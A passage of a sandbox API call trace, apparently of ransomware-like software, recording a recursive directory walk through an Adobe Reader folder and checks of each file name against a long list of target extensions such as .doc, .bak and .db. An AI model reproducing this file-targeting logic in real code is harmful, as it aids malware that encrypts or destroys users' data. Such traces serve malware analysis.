cAlternateFileName="ICONS_~1.PNG")) returned 1 [0271.540] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0271.540] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0271.540] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0271.541] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0271.541] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 0 [0271.541] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0271.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5060050 | out: hHeap=0x670000) returned 1 [0271.542] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0271.542] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0271.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.542] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0271.543] FindClose (in: hFindFile=0x3315af0 | out: hFindFile=0x3315af0) returned 1 [0271.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0271.543] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0271.543] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 109 [0271.543] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 1 [0271.543] lstrlenW (lpString="js") returned 2 [0271.543] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="js") returned -1 [0271.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5060050 [0271.543] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js") returned 109 [0271.543] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0271.543] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.544] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 1 [0271.544] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 113 [0271.544] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 1 [0271.544] lstrlenW (lpString="nls") returned 3 [0271.544] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nls") returned -1 [0271.544] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0271.544] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls") returned 113 [0271.544] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0271.625] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.625] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0271.625] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 119 [0271.625] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 1 [0271.625] lstrlenW (lpString="ar-ae") returned 5 [0271.625] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-ae") returned 1 [0271.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.625] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae") returned 119 [0271.626] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0271.626] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.626] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0271.626] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0271.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0271.626] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0271.626] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 119 [0271.626] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 1 [0271.626] lstrlenW (lpString="ca-es") returned 5 [0271.626] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1 [0271.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0271.626] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es") returned 119 [0271.626] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ca-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0271.627] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0271.627] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0271.627] lstrlenW (lpString="ui-strings.js") returned 13 [0271.627] lstrlenW (lpString=".1cd") returned 4 [0271.627] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0271.627] lstrlenW (lpString=".3ds") returned 4 [0271.627] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0271.628] lstrlenW (lpString=".3fr") returned 4 [0271.628] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0271.628] lstrlenW (lpString=".3g2") returned 4 [0271.628] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0271.628] lstrlenW (lpString=".3gp") returned 4 [0271.628] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0271.628] lstrlenW (lpString=".7z") returned 3 [0271.628] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0271.628] lstrlenW (lpString=".accda") returned 6 [0271.628] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0271.628] lstrlenW (lpString=".accdb") returned 6 [0271.628] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0271.628] lstrlenW (lpString=".accdc") returned 6 [0271.628] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0271.628] lstrlenW (lpString=".accde") returned 6 [0271.628] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0271.628] lstrlenW (lpString=".accdt") returned 6 [0271.629] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0271.629] lstrlenW (lpString=".accdw") returned 6 [0271.629] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0271.629] lstrlenW (lpString=".adb") returned 4 [0271.629] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0271.629] lstrlenW (lpString=".adp") returned 4 [0271.629] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0271.629] lstrlenW (lpString=".ai") returned 3 [0271.629] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0271.629] lstrlenW (lpString=".ai3") returned 4 [0271.629] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0271.629] lstrlenW (lpString=".ai4") returned 4 [0271.629] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0271.629] lstrlenW (lpString=".ai5") returned 4 [0271.629] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0271.629] lstrlenW (lpString=".ai6") returned 4 [0271.629] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".ai7") returned 4 [0271.630] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".ai8") returned 4 [0271.630] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".anim") returned 5 [0271.630] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0271.630] lstrlenW (lpString=".arw") returned 4 [0271.630] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".as") returned 3 [0271.630] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0271.630] lstrlenW (lpString=".asa") returned 4 [0271.630] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".asc") returned 4 [0271.630] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".ascx") returned 5 [0271.630] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0271.630] lstrlenW (lpString=".asm") returned 4 [0271.630] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".asmx") returned 5 [0271.630] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0271.630] lstrlenW (lpString=".asp") returned 4 [0271.630] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0271.630] lstrlenW (lpString=".aspx") returned 5 [0271.630] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0271.631] lstrlenW (lpString=".asr") returned 4 [0271.631] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".asx") returned 4 [0271.631] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".avi") returned 4 [0271.631] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".avs") returned 4 [0271.631] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".backup") returned 7 [0271.631] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0271.631] lstrlenW (lpString=".bak") returned 4 [0271.631] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".bay") returned 4 [0271.631] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".bd") returned 3 [0271.631] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0271.631] lstrlenW (lpString=".bin") returned 4 [0271.631] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".bmp") returned 4 [0271.631] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".bz2") returned 4 [0271.631] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0271.631] lstrlenW (lpString=".c") returned 2 [0271.631] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0271.632] lstrlenW (lpString=".cdr") returned 4 [0271.632] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".cer") returned 4 [0271.632] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".cf") returned 3 [0271.632] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0271.632] lstrlenW (lpString=".cfc") returned 4 [0271.632] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".cfm") returned 4 [0271.632] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".cfml") returned 5 [0271.632] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0271.632] lstrlenW (lpString=".cfu") returned 4 [0271.632] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".chm") returned 4 [0271.632] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".cin") returned 4 [0271.632] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0271.632] lstrlenW (lpString=".class") returned 6 [0271.632] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0271.632] lstrlenW (lpString=".clx") returned 4 [0271.632] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".config") returned 7 [0271.633] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0271.633] lstrlenW (lpString=".cpp") returned 4 [0271.633] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".cr2") returned 4 [0271.633] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".crt") returned 4 [0271.633] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".crw") returned 4 [0271.633] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".cs") returned 3 [0271.633] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0271.633] lstrlenW (lpString=".css") returned 4 [0271.633] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".csv") returned 4 [0271.633] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".cub") returned 4 [0271.633] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".dae") returned 4 [0271.633] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".dat") returned 4 [0271.633] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0271.633] lstrlenW (lpString=".db") returned 3 [0271.634] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0271.634] lstrlenW (lpString=".dbf") returned 4 [0271.634] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dbx") returned 4 [0271.634] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dc3") returned 4 [0271.634] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dcm") returned 4 [0271.634] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dcr") returned 4 [0271.634] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".der") returned 4 [0271.634] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dib") returned 4 [0271.634] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dic") returned 4 [0271.634] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".dif") returned 4 [0271.634] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0271.634] lstrlenW (lpString=".divx") returned 5 [0271.634] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0271.634] lstrlenW (lpString=".djvu") returned 5 [0271.634] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0271.634] lstrlenW (lpString=".dng") returned 4 [0271.635] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".doc") returned 4 [0271.635] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".docm") returned 5 [0271.635] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0271.635] lstrlenW (lpString=".docx") returned 5 [0271.635] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0271.635] lstrlenW (lpString=".dot") returned 4 [0271.635] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".dotm") returned 5 [0271.635] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0271.635] lstrlenW (lpString=".dotx") returned 5 [0271.635] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0271.635] lstrlenW (lpString=".dpx") returned 4 [0271.635] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".dqy") returned 4 [0271.635] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".dsn") returned 4 [0271.635] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0271.635] lstrlenW (lpString=".dt") returned 3 [0271.635] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0271.635] lstrlenW (lpString=".dtd") returned 4 [0271.635] 